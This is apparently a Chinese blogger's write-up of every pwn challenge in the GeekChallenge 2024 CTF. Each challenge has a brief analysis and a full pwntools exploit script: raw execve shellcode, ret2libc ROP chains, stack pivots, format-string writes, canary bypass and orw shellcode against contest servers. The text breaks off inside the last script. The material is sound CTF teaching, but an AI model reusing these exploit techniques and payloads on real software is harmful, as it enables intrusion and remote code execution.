GeekChallenge 2024 第十五届极客大挑战 pwn AK

news2024/11/22 10:29:36

GeekChallenge 2024 第十五届极客大挑战 pwn AK

  • 🍀前言
  • ☘️ez_shellcode(shellcode,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️买黑吗喽了吗(整数溢出,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️简单的签到(随机数)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️00000(随机数)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️你会栈溢出吗(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️over_flow??(栈溢出,syscall)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️这里的空间有点小啊(栈迁移)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️Black_Myth_Wukong(格式化字符串,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️su~~~~(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️我的空调呢(不正确的数组索引)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️真能走到后门吗(格式化字符串,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️FindG????t(RAP)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️orz?orw!(栈溢出,orw)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️ez_fmt(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️stack_overflow(栈溢出,canary绕过)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️学校的烂电梯plus(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️WhoIsAdmin(AES加密,整数溢出,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️struct_one_byte(越界修改)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️hard_orw(orw)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️学校的烂电梯pro(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️stdout(栈溢出,缓冲机制)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️ez_srop(SBROP)
    • 🌿分析
    • 🌿解题
    • 🌿exp

题目链接:
百度网盘(提取码yxxx)

🍀前言

本来是没打这个比赛,被鱼神喊来炸鱼,解了一道题(struct_one_byte),尝到炸鱼的甜头了,就全炸了,属于是炸爽了。新生赛题目难度还是蛮友好的,最难绷的题是FindG???t和ez_srop,其他题目比较容易就随便讲讲

应该是最后一次认真打新生赛了,难度太低了,很多时候是浪费时间

在这里插入图片描述

☘️ez_shellcode(shellcode,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。往bss上写数据。然后是gets,gets不开pie和canary的话直接就能getshell
在这里插入图片描述
有个后门,提权后直接执行刚刚写入的shellcode

🌿解题

在这里插入图片描述

先写入shellcode,再覆盖ret为后门函数即可

🌿exp

from pwn import *

filename = './shellcode'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 13326)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.send(b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')

io.sendline(b'A' * 0x18 + b'A' * 8 + p64(0x401256))

io.interactive()

☘️买黑吗喽了吗(整数溢出,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。开始给了0x100块
在这里插入图片描述
shop函数中可以买东西,使钱减少,减成负数就是大正数
在这里插入图片描述
view函数中,如果钱够大,就可以read一下,str1存了格式化字符串参数%x,改成%p就可以泄露程序基地址
在这里插入图片描述
栈溢出,有了基地址就可以rop

🌿解题

在这里插入图片描述
先把钱减成负数,变成大正数
在这里插入图片描述
随后去2泄露
在这里插入图片描述
再去3完成rop

🌿exp

from pwn import *

filename = './syscall'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 30701)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

for i in range(9):
    io.sendline('1')
    sleep(0.1)
    io.sendline('1')
    sleep(0.1)

io.sendline('1')
sleep(0.1)
io.sendline('2')
sleep(0.1)

io.sendline('2')
sleep(0.1)
io.send('%p')

io.recvuntil('0x0x')
base = int(io.recv(12), 16) - 0x4090
success('base =>> ' + hex(base))
rdi = base + 0x11f1
rsi = base + 0x11f3
ret = base + 0x101a
puts_plt = base + elf.plt['puts']
puts_got = base + elf.got['puts']

io.sendline('3')
io.send(b'A' * 0x50 + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(base + 0x14BC))

io.recvuntil('better!\n')

libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()

io.send(b'A' * 0x50 + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️简单的签到(随机数)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看在这里插入图片描述
随机数,然后还告诉你了。输入正确就getshell
在这里插入图片描述
有个时间限制,计算时间不能超过3秒,影响不大。可以用python的ctypes模块调用c函数,但是似乎有问题,还是用他给的数吧

🌿解题

在这里插入图片描述
接收一下他给的数,然后送过去就好了

🌿exp

from pwn import *

filename = './main'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 22910)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.recv()
io.send('\n')

a = int(io.recvuntil(' * ', drop = True))
b = int(io.recvuntil(' =', drop = True))

io.sendline(str(a * b))

io.interactive()

☘️00000(随机数)

🌿分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看。猜密码,如果密码正确就输出flag
在这里插入图片描述
从libc随机库中抽了个128位随机数,显然不可能破解。程序利用strcmp比较,遇\0停止,所以有1/256的几率成功,密码输入\0就可以了,当随机数第一位也为\0的时候,比较成功

🌿解题

在这里插入图片描述
写一个爆破的脚本就好

🌿exp

from pwn import *

filename = './main'
'''
debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 27912)
else:
    io = process(filename)
'''
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

for i in range(256):
    io = process(filename)
    try:
        io.sendline('\x00')
        io.recvuntil('{', timeout = 0.3)
        io.interactive()
    except:
        continue
    finally:
        io.close()

☘️你会栈溢出吗(栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
栈溢出,没开pie和canary也可以不给后门
在这里插入图片描述
有个后门,直接溢出就好了

🌿解题

在这里插入图片描述
覆盖ret地址

🌿exp

from pwn import *

filename = './stackover'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 25115)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.sendline(b'A' * 0xC + b'A' * 8 + p64(0x400729))

io.interactive()

☘️over_flow??(栈溢出,syscall)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
save函数查看,可以输入要save的文件的名字,服务器会创建一个文件然后将你要save的内容写进文件。禁止文件名为flag。这里存在栈溢出,但是开了canary所以没用
在这里插入图片描述
ow函数是用汇编写的
在这里插入图片描述
open前mov rsi, 0x41有点迷惑,后面觉得可能是不让在这里execve。可以看到读入了0x100字节
在这里插入图片描述
read就是将save的文件内容读取到v2变量中,只能读0x100字节,也不存在溢出。但是在读filename的时候溢出了一字节
在这里插入图片描述
这一字节刚好能改到下方的open的系统调用号,就可以控制程序执行任意系统调用
在这里插入图片描述
再看一下or的汇编,将open改为自己想要的系统调用号后,接着会执行该系统调用,参数是(filename, 0, 0),filaname可控,显然是要执行execve(‘/bin/sh’, 0, 0)

🌿解题

在这里插入图片描述
将filename写成’/bin/sh\x00’,系统调用号改为0x3b即可。这题本地24.04不能执行,有点迷惑

🌿exp

from pwn import *

io = remote('nc1.ctfplus.cn', 43640)

context(log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.sendline('2')
sleep(0.1)
io.send(b'/bin/sh\x00' + b'\x3b')

io.interactive()

☘️这里的空间有点小啊(栈迁移)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
刚好溢出0x10字节,栈溢出到bss段上rop就好了

🌿解题

在这里插入图片描述
控制rbp为bss,ret为read

程序触发第一次leave时(mov rsp, rbp; pop rbp),rbp变为bss,rsp变为之前的rbp(一个栈地址)
在这里插入图片描述
随后程序执行完read后,第二次leave,rbp变为bss - 0x30,rsp变为bss + 8,也就是上图ret的位置,这里的ret是leave_ret。会接着执行第三次leave,rbp变为bss + 0x100,rsp变为bss - 0x28,也就是上图rdi的位置,程序继续执行rop,泄露了libc。再接一个read
在这里插入图片描述
再重复这个操作,rop成功

🌿exp

from pwn import *

filename = './main'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 17608)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

bss = 0x601530
read = 0x40071C
ret = 0x400738
rdi = 0x400853
ret_ = 0x400566
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.sendlineafter('>>\n', '1')

io.sendafter('something\n', b'A' * 0x30 + p64(bss) + p64(read))

io.send(p64(bss + 0x100) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read) + b'/bin/sh\x00' + p64(bss - 0x30) + p64(ret))

libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80970
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = bss - 0x30 + 0x28

io.send(p64(bss + 0x50) + p64(ret_) + p64(rdi) + p64(bin_sh) + p64(sys) + p64(0) + p64(bss + 0x100 - 0x30) + p64(ret))

io.interactive()

☘️Black_Myth_Wukong(格式化字符串,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
有一次栈上任意地址泄露的机会,可以泄露libc
在这里插入图片描述
输入v2的值,不能超过0x100
在这里插入图片描述
会输入进这个v2
在这里插入图片描述
这里存在off_by_null,使得rbp末字节归0,随后经过一次ret后,第二次ret的地址就可以控,控成one_gadget即可

🌿解题

在这里插入图片描述
先泄露libc
在这里插入图片描述
再将栈上全覆盖为one_gadget,因为栈会有偏移,不能精准控制,只能控制一大片,而这一大片刚好是256个字节也就是0xFF,所以这题不太需要爆破
在这里插入图片描述

观察发现此时的rbp末尾已经归0,随后rsp会先变为0x7fffd234a880,再变为0x7fffd234a9a0,最后变为0x7fffd234a900
在这里插入图片描述
从图中可以看到0x7fffd234a900的附近位置,都被控制为了one_gadget
在这里插入图片描述
最后执行了one_gadget

🌿exp

from pwn import *

filename = './main'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 29878)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.send('\n')
sleep(0.1)
io.sendline('19')
sleep(0.1)

io.recvuntil('it: ')
libcbase = int(io.recv(12), 16) - 0x80b12
success('libcbase =>> ' + hex(libcbase))
one_gadget = libcbase + 0x4f29e

io.sendline('256')
sleep(0.1)
io.send(p64(one_gadget) * 2 * 0x10)

io.interactive()

☘️su~~~~(栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
栈溢出,标准rop就行了

🌿解题

在这里插入图片描述
泄露libc
在这里插入图片描述
拿shell

🌿exp

from pwn import *

filename = './csu'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 35349)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.sendline('1')

rdi = 0x400903
ret = 0x4005d6
read = 0x400798
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.send(b'A' * 0x80 + b'A' * 0x8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read))

io.recvuntil('exit.\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80970
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()

io.send(b'A' * 0x80 + b'A' * 0x8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️我的空调呢(不正确的数组索引)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。这代码写得有点离谱的
在这里插入图片描述
add函数,可以往bss段上写一些数据
在这里插入图片描述
view函数,可以打印一些数据
在这里插入图片描述
delete函数,删除数据
在这里插入图片描述
edit函数,这里v1是int类型,可以是负数,这样可以越界修改数据,只要那个地方有值就能改
在这里插入图片描述
fun函数有一次任意地址泄露的机会,没开pie就直接泄露bss上的IO指针

🌿解题

在这里插入图片描述
先用5泄露一下libc
在这里插入图片描述
再用edit把bss开头的got表改一下,printf的保持不变,因为改这个待会还要输出,会报错,将memset的改为sys地址,在delete调用memset的时候,如果此时student里写了‘/bin/sh’,那么就可以getshell
在这里插入图片描述
写一下’/bin/sh’,然后调用delete就可以了

🌿exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 18839)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.sendlineafter('chioce>:', '5')
io.sendline('0x404018')

io.recvuntil('massege:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['puts']
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
printf = libcbase + libc.sym['printf']

io.sendlineafter('chioce>:', '4')
io.sendline('-4')

io.send(b'A' * 0x8 + p64(printf) + p64(sys))

io.sendlineafter('chioce>:', '1')
io.sendafter('name:\n', '/bin/sh\x00')
io.sendafter('Introduce:\n', 'A')

io.sendlineafter('chioce>:', '3')
io.sendline('0')

io.interactive()

☘️真能走到后门吗(格式化字符串,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA分析
在这里插入图片描述
有一次格式化字符串漏洞,可以泄露canary和栈地址
在这里插入图片描述
read里面有差一错误,溢出一字节,可以改ret的末一位字节
在这里插入图片描述
由于vuln是通过main调用的,所以返回地址就是接下来的0x4013F1,改成0x4013EC就可以重新调用vuln函数,实现无限printf,就可以任意地址改
在这里插入图片描述
有个后门函数,将返回地址改为这里就可以了,由于相较比较近,改末两个字节就可以,由于末一字节能通过溢出修改,所以只要改末第二个字节

🌿解题

在这里插入图片描述
先泄露canary和栈地址
在这里插入图片描述
在这里插入图片描述
然后改返回地址末位为0xEC,重新调用
在这里插入图片描述
利用格式化字符串改末第二位,溢出改末位就可以了

🌿exp

from pwn import *

filename = './fmt'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 22626)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.send('A')
sleep(0.1)
io.send('%13$p%14$p')
sleep(0.1)
io.recvuntil('0x')
canary = int(io.recv(16), 16)
success('canary =>> ' + hex(canary))

io.recvuntil('0x')
rbp = int(io.recv(12), 16)
success('rbp =>> ' + hex(rbp))
ret = rbp - 0x18

io.send(p64(ret + 1) + b'A' * 0x30 + p64(canary) + p64(rbp)+ b'\xEC')
sleep(0.1)

io.send(b'%18c%6$hhn')
sleep(0.1)
io.send(b'A' * 0x38 + p64(canary) + p64(rbp)+ b'\x82')

io.interactive()

☘️FindG???t(RAP)

《最颠沛流离的一集》《到底是怎样的flag才配得上这一路的颠沛流离》

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。读入了0x30字节在栈上,然后输个index,意思是能任意改栈上内容的一字节。后面又改了一次index,return index
在这里插入图片描述
这里显然是syscall,显然作者是想要改返回地址的末字节,但是作者没有考虑到不同环境下,那个地址会不同,我用的是24.04的虚拟机,刚好和作者一样。其他版本会有一定差距,因此这是这个题出得不好的地方。

所以我没有考虑syscall

能修改栈上的字节可以做什么呢,S7强网杯已经给出了答案,可以修改read的返回地址
在这里插入图片描述
read在调用开始时会push 0x40111F进栈作为返回地址,随后进行read的操作,那么获取了栈地址,就可以将修改的地方设定为read的返回地址末一字节,将0x40111F改为0x401158,就可以直接ret,而这时候rsp指向的刚好是之前写在栈上的0x30个字节。如果改为0x401154或者55,56的话,就可以控制rbx,rbp,r12这三个寄存器,我控制了挺久,期间跳到了bss段上写数据,但是最后失败了,还是换了个方法。

接下来只控制跳到0x401158

期望是泄露libc,泄露libc需要控制puts的参数rdi
在这里插入图片描述
rdi只有这里能控,要控制rdi就要控制rsp
在这里插入图片描述
而要想有效控制rsp,只有这里能控制

利用栈风水手法:栈降低。先留下一些rop数据,再通过ret直接降低栈,跳过升栈的0x40,然后程序正常执行,执行到mov rdi, rsp后,rdi被赋值为了一个栈上的值,这个值可能是:普通数,栈地址,libc地址,程序地址。需要看栈的上面来确定。随后栈升高0x40,来到之前准备的rop处,完成puts泄露libc地址,再ret回去继续rop

🌿解题

在这里插入图片描述
先是第一个ret,0x4010C7是即将要ret的地方,也就是push rbx然后再降栈的地方,为什么不直接降栈而是push一下,是因为需要栈对齐,要不然等会scanf函数会调用失败

随后栈降低,再进行调用read
在这里插入图片描述
接下来ret到mov rdi, rsp处,控制玩rdi后降栈,执行pop rbx rbp r12,为了后面程序正常执行,这里都恢复的原值,在上上个图中的send中,rbx为0,rbp为0x40200E,r12为0x4040BC,随后调用puts_plt泄露地址,然后是重新开始
在这里插入图片描述
在read刚开始时,往栈上push了返回地址,下面的是之前read 0x30的时候写的数据
在这里插入图片描述
将返回地址末位改为0x58,就来到了ret,然后直接rop
在这里插入图片描述
第二次read,只往栈上写一个数据
在这里插入图片描述
随后再次read改自己返回地址,直接ret,改rdi为rsp
在这里插入图片描述
此时rsp值为这个,等会puts的参数就是这个,会puts这里的数据
在这里插入图片描述
随后是抬高栈,然后pop三下,把之前留的数据拿走,再ret到之前留的plt上
在这里插入图片描述
在调用puts函数时,在真正puts之前,会先将栈进行如上赋值,调用之前rsp是0x7ffc332655e8,我这里重启了一下程序,地址和上面不同。看到将rsp - 0x60的地址改为了libc的地址,这里刚好是之前rdi参数的地址,所以等会puts的时候会将这里的值泄露,就拿到了libc
在这里插入图片描述
泄露完后程序照旧执行,还是用之前第一次read留的ret地址
在这里插入图片描述
照旧再来一遍,有libc了就直接控rdi了,基本rop就可以了

🌿exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 45331)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
io.send(p64(0x4010C7) + p64(0) + p64(0x40200E) + p64(0x40408C) + p64(puts_plt) + p64(0x4010D1))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.send('\x58')
sleep(0.1)

io.send(p64(0x401147))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.recv()
io.send('\x58')
sleep(0.1)

libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x202030
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x10f75b

io.send(p64(rdi) + p64(bin_sh) + p64(sys))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.send('\x58')
sleep(0.1)

io.interactive()

☘️orz?orw!(栈溢出,orw)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。输入v5的值,小于等于4就好,由于是unsigned不能是负数。输入buf可以溢出,有canary,用这个泄露canary,然后需要改v5的值,v5最高比特位要为0才是正数,不然read失败。用第二个read栈溢出就好了
在这里插入图片描述
沙箱禁了execve,影响不大
在这里插入图片描述
有个后门函数,栈是可执行的,所以直接往栈上写shellcode就行了

🌿解题

在这里插入图片描述
控制v5的值,泄露canary
在这里插入图片描述
跳转到后面函数,再到栈上,正常orw就可以

🌿exp

from pwn import *

filename = './orw'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 14920)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

io.sendline('1')

io.send(b'A' + b'111\x01' + b'A' * 5)

io.recvuntil('AAAAA')
canary = u64(io.recv(7).rjust(8, b'\0'))
success('canary =>> ' + hex(canary))

io.send(b'A' * 4 + p64(canary) + b'A' * 8 + p64(0x4012A7) + asm(shellcraft.open('./flag', 0) + shellcraft.read(3, 0x404500, 0x100) + shellcraft.write(1, 0x404500, 0x100)))

io.interactive()

☘️ez_fmt(栈溢出)

🌿分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看
在这里插入图片描述
给了两次泄露的机会,有canary优先泄露canary,然后再泄露个libc
在这里插入图片描述
然后是scanf有问题
在这里插入图片描述
观察到rdi是buf,就是可以控制scanf的第一个参数,控制为%s,就相当于gets,直接栈溢出基本rop就可以了

🌿解题

在这里插入图片描述
泄露canary和libc
在这里插入图片描述
改参数,基本rop

🌿exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 18155)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.recv()
io.sendline('9')
canary = u64(io.recv(7).rjust(8, b'\0'))
success('canary =>> ' + hex(canary))
sleep(0.1)

io.recv()
io.sendline('38')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x24083
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x23b6a
ret = libcbase + 0x22679

io.send(b'A' * 0x10 + b'%s')
sleep(0.1)
io.sendline(b'A' * 0x38 + p64(canary) + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️stack_overflow(栈溢出,canary绕过)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。开始给了fs的地址,fs:0x28的位置就是canary。给了一次任意地址改的机会,那个if检测是检测了末字节,末字节不能为8或0

可以改7个字节,显然是改canary,随后就可以正常栈溢出rop

🌿解题

在这里插入图片描述
将canary改为0
在这里插入图片描述
基本rop,泄露libc再sys

🌿exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 42500)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

rdi_rcx = 0x40123f

io.recvuntil('gift:')
fs = u64(io.recv(6).ljust(8, b'\0'))
success('fs =>> ' + hex(fs))

io.send(p64(fs + 0x29))
sleep(0.1)
io.send(b'\x00' * 7)
sleep(0.1)

io.send(b'A' * 0x18 + p64(0) * 2 + p64(rdi_rcx) + p64(puts_got) + p64(0) + p64(puts_plt) + p64(0x401247))
io.recvuntil('buf:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80e50
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()

io.send(p64(fs + 0x29))
sleep(0.1)
io.send(b'\x00' * 7)
sleep(0.1)
io.send(b'A' * 0x18 + p64(0) * 2 + p64(rdi_rcx) + p64(bin_sh) + p64(0) + p64(sys))

io.interactive()

☘️学校的烂电梯plus(栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
输入v1的值,赋给data,data后面也没找到用的地方,看汇编
在这里插入图片描述
将栈减少了data的值

ask_phone函数没用,是给后面的pro准备的

将栈抬高,就可以改到ret地址了,直接基本rop。原理和FindG???t一样,在read真正调用前push了自己的返回地址,然后read数据后,返回地址发生改变

🌿解题

在这里插入图片描述
将栈抬高4个字长
在这里插入图片描述
基本rop,先libc再sys

🌿exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 14982)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x40127f
ret = 0x40101a

io.sendline('-4')

io.sendline('1')
io.send(b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x401303))

io.recvuntil('man!!\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80e50
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()

io.sendline('-4')
io.sendline('1')
io.send(b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️WhoIsAdmin(AES加密,整数溢出,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
AES加密,给了特征码
在这里插入图片描述
买东西,开始输入一下答案,口算一下就知道了,是1640。v2输入个负数,后面*-100,就成正数了,money就可以很大
在这里插入图片描述
然后就可以buy了
在这里插入图片描述
验证加密,最后结果是AdminAdminAdminA就通过

这个加密过程是这样的:
BinaryCryptoYYDS→BinaryCryptoYYDS的user_key + code→BinaryCryptoYYDS的特征码

要想得到AdminAdminAdminA的话,需要:
BinaryCryptoYYDS的特征码→BinaryCryptoYYDS的user_key + code→AdminAdminAdminA的user_key + code→AdminAdminAdminA的特征码

也就是“BinaryCryptoYYDS”原始数据,“AdminAdminAdminA”目标数据,特征码
在这里插入图片描述
两个都成功后,进入这里,栈溢出基本rop即可

🌿解题

在这里插入图片描述
直接套板子就可以
在这里插入图片描述
买sys
在这里插入图片描述
基本rop,先libc再sys

🌿exp

from pwn import *

filename = './whoisadmin'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 21395)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

def strxor(a1, a2): 
    return bytes([b1 ^ b2 for b1,b2 in zip(a1,a2)])
    
io.sendline('1')
io.recvuntil('authcode: ')

authcode = io.recv(64).decode()
user_key = bytes.fromhex(authcode)[:16]
code = bytes.fromhex(authcode)[16:]
user_key=strxor(user_key,b'AdminAdminAdminA')
user_key=strxor(user_key,b'BinaryCryptoYYDS')
authcode=user_key.hex()+code.hex()
success('authcode =>> ' + str(authcode))

io.sendline('7')
io.sendline(str(authcode))

io.sendline('4')
io.sendline('1640')
io.sendline('-500')
io.sendline('6')

io.sendline('8')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x402db3
ret = 0x40101a

io.sendline(b'A' * 0x20 + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x402B0F))

libc = ELF('./libc-2.31.so')
io.recvuntil('name: ')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()

io.sendline(b'A' * 0x20 + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️struct_one_byte(越界修改)

这题出的比较差,不需要溢出一字节,直接非预期了

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
gift泄露了libc
在这里插入图片描述
add函数,先是选择tacher还是student,都一样。然后是赋值一些数据,IDA里看的比较乱我没看,直接gdb看就好。v9赋值的时候溢出了1字节,没用
在这里插入图片描述
work函数中,如果有值,就执行一下
在这里插入图片描述
执行的函数是这个,参数是name和info

将这个函数的地址改为system,第一个参数输‘/bin/sh’就可以getshell了
在这里插入图片描述
edit函数,正常的edit
在这里插入图片描述
有个后门,没这个也能做

🌿解题

在这里插入图片描述
先add一个看看结构
在这里插入图片描述
在这里插入图片描述
这里打印一下,就可以泄露base地址
在这里插入图片描述
再加一个
在这里插入图片描述
直接将name最大字段赋值为了0x40,没有利用一字节溢出
在这里插入图片描述
随后将执行函数改为sys的后门就可以了,也不用控制参数

🌿exp

from pwn import *

filename = './struct'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 23165)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

def add(index, name, info):
    io.sendlineafter('change player info: \n', '1')
    io.sendlineafter('Index:\n', str(index))
    io.sendlineafter('students\n> \n', '1')
    io.sendafter('name :\n', name)
    io.sendafter('info :\n', info)

def show(index):
    io.sendlineafter('change player info: \n', '2')
    io.sendlineafter('index:\n', str(index))
    
def edit(index, name):
